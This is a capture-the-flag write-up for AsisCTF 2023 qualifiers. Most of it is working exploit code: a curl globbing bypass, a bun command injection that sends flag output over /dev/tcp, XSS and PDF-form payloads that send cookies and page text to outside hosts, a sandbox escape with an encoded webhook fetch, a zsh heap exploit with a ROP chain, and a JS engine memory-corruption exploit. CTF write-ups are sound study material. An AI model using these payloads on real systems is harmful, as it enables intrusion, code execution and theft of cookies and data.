# AsisCTF 2023 quals ## hello ```php <?php /* Flag is at /flag.txt Hint for beginners: read curl's manpage. */ highlight_file(__FILE__); $url = 'file:///hi.txt'; if( array_key_exists('x', $_GET) && !str_contains(strtolower($_GET['x']),'file') && !str_contains(strtolower($_GET['x']),'flag') ){ $url = $_GET['x']; } system('curl '.escapeshellarg($url)); ``` If you look at curl's manpage, you can see that curl supports "globbing". This means that you can specifiy a range of chars and curl will fetch the url by trying each of those chars. `http://45.147.231.180:8000/?x=fil[a-z:1]:///[a-z]ext.txt` next.js gives you the following URL: `http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/` ``` did you know i can read files?? amazing right,,, maybe try /39c8e9953fe8ea40ff1c59876e0e2f28/read/?file=/proc/self/cmdline ``` Then if you fetch `http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/read/?file=/proc/self/cmdline` it gives you the path of the JS file and also you will see that it runs on bun. ```javascript const fs = require('node:fs'); const path = require('path') /* I wonder what is inside /next.txt */ const secret = '39c8e9953fe8ea40ff1c59876e0e2f28' const server = Bun.serve({ port: 8000, fetch(req) { let url = new URL(req.url); let pname = url.pathname; if(pname.startsWith(`/${secret}`)){ if(pname.startsWith(`/${secret}/read`)){ try{ let fpath = url.searchParams.get('file'); if(path.basename(fpath).indexOf('next') == -1){ return new Response(fs.readFileSync(fpath).toString('base64')); } else { return new Response('no way'); } } catch(e){ } return new Response("Couldn't read your file :("); } return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`); } return } }); ``` By trying bunch of payloads, you might find-out that `path.basename(fpath).indexOf('next') == -1` can be bypassed with `/next.js%00/anything`. It's bypassed because `fs.readFileSync` doesn't check for null bytes in the string and pass it directly to open syscall but path.basename is a normal javascript function so it just does `path.slice(lastIndexOfSlash+1)`. ## hello-again Read bun's source code challenge. `%PUBLIC_URL%` is skipped in router's urldecoder and you can use `/index` to bypass the second check. then you can use open-in-editor feature of bun to execute debconf with your payload ( first arg goes into shell ). ```python3 #!/usr/bin/env python3 import base64 from pwn import remote p = remote('45.147.230.214',37555) p.send(b"""GET /cgi-bin/%PUBLIC_URL%/%70rivate-symlink/index?target=/bin/debconf&path=/tmp/subl HTTP/1.1 Host: dfdf """.replace(b'\n',b'\r\n')) print(p.recv()) p.close() p = remote('45.147.230.214',37555) a = '/readflag gimmeflag > /dev/tcp/0.0.0.0/9000' p.send(b"""GET /src:/lmao;echo${IFS}"""+base64.b64encode(a.encode())+b"""|base64${IFS}-d|bash HTTP/1.1 open-in-editor: 1 Host: dfdf """.replace(b'\n',b'\r\n')) # p.interactive() print(p.recv()) p.close() ``` ## makes-sense frames inside shadow-dom are not added to window.frames (therefor they don't increase window.length). ```htmlembedded <div id="atk"></div> <script> const target = 'http://web' const s = atk.attachShadow({ mode: "closed" }); let f = document.createElement('div') f.innerHTML = `<iframe src="${target}" name=wow onload="ld(event)" ></iframe>` s.appendChild(f) function ld(e){ e.target.contentWindow.postMessage(` let x = window.open('/') setTimeout(()=>{ fetch("https://xxx?a="+x.document.cookie) },1000) `,'*') } </script> ``` ## poster Find a way to send a no-cors POST request ( containg None cookies ) that doesn't have a content-type header or its content-type doesn't have `plain,form,csp`. The intended solution uses PDF forms ( they send None cookies and don't set content-type ). More info about this [here](https://portswigger.net/research/portable-data-exfiltration). ```javascript #!/usr/bin/env node const express = require('express') const fs = require('fs') const f = fs.readFileSync('./out.pdf') const app = express() app.use(express.static('./static')) app.get('/log',(req,res)=>{ res.send('') console.log(req.query.log) }) app.get('/sleep',(req,res)=>{ setTimeout(()=>res.send(''),+req.query.t) }) app.get('/genpdf',(req,res)=>{ let ee = f.indexOf('target') let t = (Buffer.concat([ f.slice(0,ee), Buffer.from(req.query.origin), f.slice(ee+6), ])) // fs.writeFileSync('./out2.pdf',t) res.type('application/pdf').send(t) }) app.listen(9005) ``` ```html <!-- static/index.html --> <body> <script> const target = 'http://localhost:8000' // const target = 'http://vm:8000' window.localStorage.target = target fetch('/log?log=step0') window.open('/step1.html') </script> <!-- static/step1.html --> <body> <iframe id="f" name=document height=900px width=500px> </iframe> <button style=" position: absolute; left: 122px; top: 616px; z-index: -1000; ">sdfsdf</button> <script> const target = window.localStorage.target f.src = target fetch('/log?log=step1') onmessage = e=>{ opener.open('/step2.html#'+e.data.token) opener.document.location = target } setTimeout(()=>{ document.getElementsByTagName('button')[0].id = 'btn' },1000) </script> <!-- static/step2.html --> <body> <iframe id="f" height=1000px width=1000px> </iframe> <div style=" position: absolute; left: 420px; top: 420px; z-index: -1000; height: 2px; width: 2px; ">sdfsdf</div> <script> const target = window.localStorage.target fetch('/log?log=step3') let t = document.location.hash.slice(1) let p = `csrf_token=${t}&secret=<img src=1 onerror='${encodeURIComponent('eval&#x28;window.name&#x29;')}' >` f.src = `/genpdf?origin=${target}/secret&${p}&` setTimeout(()=>{ document.getElementsByTagName('div')[0].id = 'btn' },3000) setTimeout(()=>{ window.name = ` fetch('https://xxx',{ method:'POST',body:opener.document.body.innerText }) ` document.location = target },4000) </script> ``` ## yet another calc I forgot to add to description that this is based on Angstrom 2021 - Cassio chall. The main part of chall is finding this: ```javascript c=Math.constructor c=c.constructor Math.__defineGetter__(Math.aa,c) Math.__defineGetter__(c.name,Math.__lookupGetter__) Math.Function() ``` ```javascript c=Math.constructor c=c.name c=c.constructor c=c.fromCharCode Math.__defineGetter__(Math.aa,c) Math.__defineGetter__(c.name,Math.__lookupGetter__) v = Math.fromCharCode(102,101,116,99,104,40,96,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,102,48,51,56,100,100,56,48,45,100,100,54,50,45,52,53,97,52,45,56,57,50,56,45,54,57,54,97,49,52,48,102,56,98,49,50,63,97,61,96,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41) c=Math.constructor c=c.constructor Math.__defineGetter__(Math.aa,c) Math.__defineGetter__(c.name,Math.__lookupGetter__) z=Math.Function(v) Math.__defineGetter__(c.name,z) Math.Function ``` ## zpwn exploiting a bug in the lastest version of zsh. There is also a helper (`note.so`) module to help you exploit this. here `zfsessions` should also be nulled. https://github.com/zsh-users/zsh/blob/9eb2b047035273891c66f6d0fc23edb22d6bfad5/Src/Modules/zftp.c#L3149 ```python #!/usr/bin/env python3 from pwn import * p = remote('172.86.97.8',13337) # a = open('./solve.sh','rb').read() p.sendline(b""" exec 2>&1 zmodload zsh/note zmodload zsh/zftp module_path=/usr/local/lib/zsh/5.9/zsh/ zmodload zftp AAAAA1=AAAAAA AAAAA2=AAAAAA AAAAA2=VVVVVVVV AAAAA1=VVVVVVV zmodload -u zsh/zftp """.strip()) def addnote(c,sz=False): p.sendline(b'note-add') if(sz == False): sz = len(c) p.recvuntil(b':') p.sendline(str(sz).encode()) p.recvuntil(b':') p.send(c) p.recvuntil(b':') def addnoten(c,sz=False): p.sendline(b'note-add AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') if(sz == False): sz = len(c) p.recvuntil(b':') p.sendline(str(sz).encode()) p.recvuntil(b':') p.send(c) p.recvuntil(b':') addnote(b'AAA') addnote(b'\x00'*0x10) p.sendline(b'zmodload -u zftp') p.sendline(b'note-view AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'1') p.recvuntil(b': \n') heapbase = 0x240 heapleak = int.from_bytes(p.recvline()[:-1],'little') v = ((heapleak&0xfff)^0x240) z = (((heapleak>>12)&0xfff)) qq = (z)^(v) zz = (((heapleak>>24)&0xfff))^qq heapbase += v<<12 heapbase += qq<<24 heapbase += zz<<36 p.sendline(b'FUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCK=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE') p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'1') p.recvuntil(b':') p.send(p64(((heapbase+0x1b0)>>12)^(heapbase+0x240))) addnoten(b'LMAO') addnoten(p64(0)+p64(heapbase+0x240-0x10)[:-1]) p.sendline(b'FUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCK=AAAAAAAAAAAAAFFFFFFFFFFFFFFFFFFFFFF') addnoten(b'A'*10,0x50) v = p64(0)+p64(heapbase+0x240-0x10-0x8)+p64(0)+p64(heapbase-0x28c0) v = v[:-1] addnoten(v,0x48) p.recvline() p.sendline(b'echo $a'+b' '*100) noteleak = int.from_bytes(p.recvline()[:-1],'little') - 0x3ed0 p.sendline(b'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF=QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ') p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'5') p.recvuntil(b':') v = p64(0)+p64(heapbase+0x240-0x10-0x8)+p64(0)+p64(heapbase+0x230) v = v[:-1] p.send(v) p.sendline(b'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') p.sendline(b'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') p.sendline(b'a=dsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsff'+b' '*100) p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'5') p.recvuntil(b':') p.sendline(p64(((heapbase+0x230)>>12)^(noteleak+0x41a0))) addnoten(b'A',0x50) addnoten(p32(0xff)*16+p64(noteleak+0x4038),0x50) p.sendline(b'note-view AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'4') p.recvline() p.recvline() libcbase = int.from_bytes(p.recvline()[:-1],'little') - 0x7f1b0 env = libcbase+0x21aa20 p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'7') p.recvuntil(b':') p.sendline(p32(0xff)*16+p64(env)) p.sendline(b'note-view AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'4') p.recvline() p.recvline() stackleak = int.from_bytes(p.recvline()[:-1],'little') p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'7') p.recvuntil(b':') p.sendline(p32(0xff)*16+p64(noteleak+0x49e0)) p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'4') p.recvuntil(b':') p.send(p32(0x300)*5) p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'7') p.recvuntil(b':') p.sendline(p32(0xff)*16+p64(stackleak-0x1b60)) print(hex(libcbase+0x0000000000091396)) z = (noteleak) z &= ~(z&0xfff) print(hex(stackleak)) p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') p.recvuntil(b':') p.sendline(b'4') p.recvuntil(b':') q = b'' q+= p64(libcbase+0x000000000002a3e5) q+= p64(libcbase+0x16c49) q+= p64(libcbase+0x11b9f0) q+= p64(libcbase+0x000000000002a3e5) q+= p64(libcbase+0x1da071) q+= p64(libcbase+0x115320) q+= p64(libcbase+0x000000000002a3e5) q+= p64(libcbase+0x1da071) q+= p64(libcbase+0x115320) q+= p64(libcbase+0x000000000002a3e5) q+= p64(libcbase+0x1da071) q+= p64(libcbase+0x115320) q+= p64(libcbase+0x000000000002a3e5) q+= p64(libcbase+0x1da071) q+= p64(libcbase+0x115320) q+= p64(libcbase+0x000000000002a3e5) q+= p64(libcbase+0x1da071) q+= p64(libcbase+0x115320) q+= p64(libcbase+0x000000000002a3e5) q+= p64(libcbase+0x1da071+1) q+= p64(libcbase+0x11b9f0) q+= p64(libcbase+0x000000000002a3e5) q+= p64(libcbase+0x1d8698) q+= p64(libcbase+0x000000000002be51) q+= p64(0) q+= p64(libcbase+0x000000000011f497) q+= p64(0) q+= p64(0) q+= p64(libcbase+0x0000000000045eb0) q+= p64(59) q+= p64(libcbase+0x0000000000091396) q+= p64(0xdeedbeef)*20 p.send(q) p.interactive() ``` ## night.js ```javascript! toflow = new ArrayBuffer(0x10010) toflowarr = new Uint32Array(toflow) toflowarr[16388-2] = 0x14021 for(let i=0;i<0;i<0x100){ (new ArrayBuffer(i)).transfer(i) (new ArrayBuffer(i)).transfer(i) (new ArrayBuffer(i)).transfer(i) (new ArrayBuffer(i)).transfer(i) } gc() new ArrayBuffer(0x300) new ArrayBuffer(0x300) new ArrayBuffer(0x300) new ArrayBuffer(0x300) a = new ArrayBuffer(0x10008) b = new ArrayBuffer(0x10008) c = new ArrayBuffer(0x4008) d = new ArrayBuffer(0x10008) // free middle buffer b.transfer(0x10008) toflow.transfer(0x10008) // overflow next chunk ( only allocate 368 but toflow is 370) c.transfer(0x4008) let z = [] for(let i=0;i<9000;i++){ z.push(new ArrayBuffer(0x50)) } uarr = new Uint32Array(d) uarr[0] = 0xdeedbeef let idx = false let skipped = false for(let i=0;i<300;i++){ if((uarr[i]&0xfff) == 0xda8){ if(skipped == false){ skipped = true continue } idx = i; break; } } uarr[idx+24] = 0xf0 let victim for(let i=512;i!=0;i--){ if(z[i].byteLength == 0xf0){ victim = z[i] break; } } function convToHex(v){ return '0x'+v[1].toString(16)+v[0].toString(16) } victim = new Uint32Array(victim) let libleak = [uarr[idx],uarr[idx+1]] console.log('libleakkey:',convToHex(libleak)) uarr[idx+24-8] = libleak[0] + 0x1b298 uarr[idx+24-8+1] = libleak[1] let libcpp = [victim[0],victim[1]] console.log('libcpp:',convToHex(libcpp)) uarr[idx+24-8] = libcpp[0] + 0x1ae0e0 uarr[idx+24-8+1] = libcpp[1] let libcbase = [victim[0] - 0xa80b0,victim[1]] console.log('libcbase:',convToHex(libcbase)) uarr[idx+24-8] = libleak[0] uarr[idx+24-8+1] = libleak[1] let libjs = [victim[0],victim[1]] console.log('libjs:',convToHex(libjs)) uarr[idx+24-8] = libjs[0] + 0x3205f0 uarr[idx+24-8+1] = libjs[1] z = new ArrayBuffer(0x40) v = new Uint8Array(z) v[0] = 115 v[1] = 104 v[2] = 104 let cmd = '/readflag; sleep 5; ' for(let i=0;i<cmd.length;i++) v[i] = cmd.charCodeAt(i); victim[0] = libcbase[0] + 0x55230 z.transfer(0x40) -- EOF -- ```